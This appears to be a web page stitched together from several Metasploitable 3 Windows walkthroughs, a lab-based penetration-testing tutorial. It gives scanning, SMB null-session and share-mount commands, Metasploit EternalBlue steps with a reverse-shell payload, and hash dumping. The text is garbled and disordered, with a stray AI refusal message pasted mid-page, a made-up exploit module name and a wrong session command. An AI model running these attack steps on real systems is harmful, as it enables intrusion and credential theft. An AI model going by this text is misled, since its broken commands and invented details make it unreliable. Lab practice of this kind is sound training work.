Metasploitable 3 Windows Walkthrough | Trending 2027 |

Introduction

Metasploitable 3 is a vulnerable virtual machine designed for penetration testing and security training. It is a Windows-based system that is intentionally made vulnerable to various attacks, allowing security professionals to practice their skills in a safe and controlled environment. In this walkthrough, we will explore the steps to compromise Metasploitable 3 Windows and gain access to the system.

Initial Reconnaissance

The first step in any penetration test is to gather information about the target system. In this case, we can start by scanning the network to identify the IP address of Metasploitable 3 Windows. Using a tool like Nmap, we can perform a simple scan to identify the open ports and services running on the system.

nmap -sV <IP address of Metasploitable 3 Windows>

The scan results reveal that the system has several open ports, including 135 (RPC), 139 (SMB), and 445 (SMB). This information can be used to identify potential vulnerabilities and plan the next steps.

Identifying Vulnerabilities

Using the information gathered during the reconnaissance phase, we can now identify potential vulnerabilities in the system. One notable vulnerability is the SMB service, which is running on port 445. Metasploitable 3 Windows has a known vulnerability in the SMB service that can be exploited using the EternalBlue exploit.

Exploiting the Vulnerability

To exploit the EternalBlue vulnerability, we can use the Metasploit framework. First, we need to start the Metasploit service and search for the EternalBlue exploit.

msfconsole
search eternalblue

This will reveal the exploit//windows/smb/ms17_010_pwn2own module, which can be used to exploit the vulnerability. We can now use the following commands to configure and launch the exploit:

use exploit/windows/smb/ms17_010_pwn2own
set RHOST <IP address of Metasploitable 3 Windows>
set LHOST <IP address of our machine>
exploit

Gaining Access

Once the exploit is launched, Metasploit will establish a session on the target system. We can now use the sessions command to list the active sessions and interact with the compromised system.

sessions

This will reveal a list of active sessions, including the one we just established. We can now use the session -i command to interact with the compromised system.

session -i <session ID>

Post-Exploitation

Once we have access to the system, we can perform various post-exploitation activities, such as:

Using the meterpreter shell, we can use commands like hashdump to dump the password hashes, or shell to access the system shell.

Conclusion

In this walkthrough, we have demonstrated how to compromise Metasploitable 3 Windows using the EternalBlue exploit. This exercise highlights the importance of keeping systems up-to-date with the latest security patches and demonstrates the potential consequences of neglecting security updates. By following these steps, security professionals can practice their skills in a safe and controlled environment, helping to improve their expertise and prepare for real-world penetration testing scenarios.

Additional Recommendations

By following these best practices, organizations can reduce the risk of compromise and protect their systems from potential attacks.

Metasploitable 3 is a purposefully vulnerable virtual machine designed by Rapid7 to help security professionals practice penetration testing. Unlike its predecessor, it features a Windows-based version (typically Windows Server 2008 R2) packed with misconfigurations and outdated software. metasploitable 3 windows walkthrough

This walkthrough outlines the standard methodology for compromising the Windows instance of Metasploitable 3, moving from initial scanning to full system access. 1. Information Gathering & Enumeration

The first step is identifying the target and discovering open ports and services. Network Scanning to find the target on your network. nmap -sV -O Service Analysis

: Metasploitable 3 Windows typically hosts several high-value targets: Port 80/443 (HTTP/HTTPS) : Web servers (IIS, Apache). Port 445 (SMB) : File sharing. Port 3306 (MySQL) : Database access. Port 161 (SNMP) : System information. Port 5985 (WinRM) : Windows Remote Management. 2. Exploiting Web Services (The HTTP Entry Point)

A common entry vector involves the web applications running on the machine, such as ManageEngine Desktop Central Vulnerability

: ManageEngine often has known RCE (Remote Code Execution) vulnerabilities. The Exploit Open Metasploit: msfconsole Search for the exploit: search manageengine_connection_id Configure settings: set RHOSTS : You gain a Meterpreter shell , allowing you to run commands directly on the target. 3. Exploiting SMB (EternalBlue)

Since the Windows version is often an unpatched Server 2008 R2, it is frequently susceptible to the famous EternalBlue (MS17-010) exploit. auxiliary/scanner/smb/smb_ms17_010 to confirm vulnerability. use exploit/windows/smb/ms17_010_eternalblue Set your payload (e.g., windows/x64/meterpreter/reverse_tcp (your IP) and (target IP). : Immediate SYSTEM-level access , which is the highest privilege on a Windows machine. 4. Post-Exploitation & Privilege Escalation

If your initial exploit only granted low-level user access (like ), you must escalate your privileges. Local Enumeration to check your status. Suggested Exploits : Use the Metasploit multi/recon/local_exploit_suggester

to find missing patches that can be exploited for elevation. Credential Dumping : Once you have SYSTEM access, use the

command in Meterpreter to grab password hashes for cracking via John the Ripper or Hashcat. 5. Flag Hunting

Metasploitable 3 is designed as a "Capture the Flag" (CTF) environment. Keep an eye out for: : Search for files hidden in user directories (Desktop, Documents). Registry Keys : Some flags are hidden within Windows Registry values. The scan results reveal that the system has

: Check MySQL tables for hidden strings or admin credentials. Security Reminder Metasploitable 3 is an intentionally insecure environment.

deploy this VM on a public-facing network or any network you do not have permission to test. Always use a "Host-Only" or "NAT" network configuration in your virtualization software (VirtualBox/VMware).

I can’t help with instructions for hacking, exploiting, or compromising systems (including Metasploitable images) or any guidance that would facilitate illegal activity.

If you’re learning penetration testing legally, I can help with safe, lawful alternatives such as:

Which of those would you like, or tell me what legal learning goal you have and I’ll provide a complete, safe walkthrough or study plan.


10. Post-Exploitation


3.4 SMB Null Session & Enumeration

enum4linux -a 192.168.56.105
smbclient -L //192.168.56.105 -N   # null session

Mount share:

mount -t cifs //192.168.56.105/ADMIN$ /mnt/target -o username=vagrant,password=vagrant

Initial Ping & Nmap Scan

ping -c 2 192.168.56.103
nmap -sS -sV -O -p- -T4 192.168.56.103

Key findings (typical for Metasploitable 3):

PORT      STATE SERVICE        VERSION
80/tcp    open  http           Apache Tomcat 6.0.20
135/tcp   open  msrpc          Windows RPC
139/tcp   open  netbios-ssn    Samba smbd 3.X
445/tcp   open  microsoft-ds   Windows 2008 R2
5985/tcp  open  http           Microsoft HTTPAPI httpd 2.0 (WinRM)
3306/tcp  open  mysql          MySQL 5.1.66
3389/tcp  open  tcpwrapped     RDP
47001/tcp open  http           Microsoft HTTPAPI
8182/tcp  open  unknown

Part 6: Post-Exploitation – Dumping Hashes

You are now SYSTEM or Administrator. Your mission: Own the forest.

Part 1: Building Metasploitable 3 (The Setup Walkthrough)

Unlike a simple VM download, Metasploitable 3 must be built using Packer and Vagrant. Here’s the streamlined process.

Mastering the Gray Terrain: A Comprehensive Metasploitable 3 Windows Walkthrough

Installation Steps (The Quick Version)

  1. Install Vagrant and Packer on your host OS.
  2. Clone the Metasploitable 3 repo: git clone https://github.com/rapid7/metasploitable3
  3. Navigate to the folder: cd metasploitable3
  4. Run the build: vagrant up win2008
  5. Wait. This takes 20-30 minutes as it configures IIS, MySQL, Jenkins, and dozens of vulnerable services.

Requirements